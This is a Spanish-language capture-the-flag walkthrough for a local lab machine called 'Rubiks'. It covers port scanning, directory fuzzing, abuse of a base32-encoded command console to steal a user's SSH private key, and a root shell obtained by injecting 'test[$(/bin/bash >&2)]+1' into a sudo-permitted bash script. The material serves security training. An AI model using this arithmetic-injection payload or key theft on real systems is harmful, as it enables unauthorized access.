Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unziprubiks.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shrubiks.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Si entramos en el puerto 80 veremos que esta bajo un dominio llamado rubikcube.dl, por lo que vamos añadirlo a nuestro archivo hosts.
Lo guardamos y entraremos bajo ese dominio.
Veremos una pagina normal de forma aparente, por lo que vamos a realizar un poco de fuzzing.
Gobuster
Info:
Vemos varias rutas interesantes, entre ellas el llamado /administration, vamos a ver que contiene ese directorio.
Vemos que es un panel de administrador normal, pero si nos vamos a configuration.php veremos la configuracion de algo del panel, pero tendremos otro panel lateral izquierdo:
En dicho panel, veremos una opcion llamada Console que si pinchamos nos llevara al archivo llamado myconsole.php pero nos dara un error:
Vemos que nos esta eliminando la parte de administration, pero si se lo añadimos veremos que funciona:
Veremos como una consola que nos indica que podremos ejecutar comandos, pero de forma codificada, por lo que vamos a probar a codificarlo en Base32 y realizando el siguiente comando:
Codificado
Info:
Vemos que funciona perfectamente, pero si hacemos un simple ls -la veremos lo siguiente:
Vemos que hay un id_rsa que puede ser del usuario luisillo por lo que haremos lo siguiente:
Codificada
Info:
Vemos que hemos obtenido la clave privada del usuario luisillo, por lo que haremos lo siguiente:
id_rsa
SSH
Info:
Cuando ejecutemos eso, estaremos dentro como dicho usuario sin necesidad de introducir una contraseña.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario cube como el usuario root, por lo que haremos lo siguiente:
Si leemos el binario que se podra leer de forma facil:
Info:
Vemos que tiene una vulnerabilidad para injectar comandos en la entrada del usuario, por lo que haremos lo siguiente:
Info:
Con esto ya seremos root, por lo que habremos terminado la maquina.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 16:19 CET
Nmap scan report for 172.17.0.2
Host is up (0.000023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 7e:3f:77:f8:5e:4e:89:42:4a:ce:14:3b:ac:59:05:74 (ECDSA)
|_ 256 b4:2a:b2:f8:4a:1b:50:09:fb:17:28:b7:29:e6:9e:6d (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://rubikcube.dl/
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds
nano /etc/hosts
#Dentro del nano
<IP> rubikcube.dl
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:YIkHKXH1exQCs/omWp6MtzBankdZUl1a61b/33eg5Ww.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.11.2-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Fri Aug 30 03:00:21 2024 from 172.17.0.1
$ whoami
luisillo
Matching Defaults entries for luisillo on c7977b0f421c:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luisillo may run the following commands on c7977b0f421c:
(ALL) NOPASSWD: /bin/cube
cat /usr/bin/cube
#!/bin/bash
# Inicio del script de verificación de número
echo -n "Checker de Seguridad "
# Solicitar al usuario que ingrese un número
echo "Por favor, introduzca un número para verificar:"
# Leer la entrada del usuario y almacenar en una variable
read -rp "Digite el número: " num
# Función para comprobar el número ingresado
echo -e "\n"
check_number() {
local number=$1
local correct_number=666
# Verificación del número ingresado
if [[ $number -eq $correct_number ]]; then
echo -e "\n[+] Correcto"
else
echo -e "\n[!] Incorrecto"
fi
}
# Llamada a la función para verificar el número
check_number "$num"
# Mensaje de fin de script
echo -e "\n La verificación ha sido completada."
test[$(/bin/bash >&2)]+1
sudo cube
Checker de Seguridad Por favor, introduzca un número para verificar:
Digite el número: test[$(/bin/bash >&2)]+1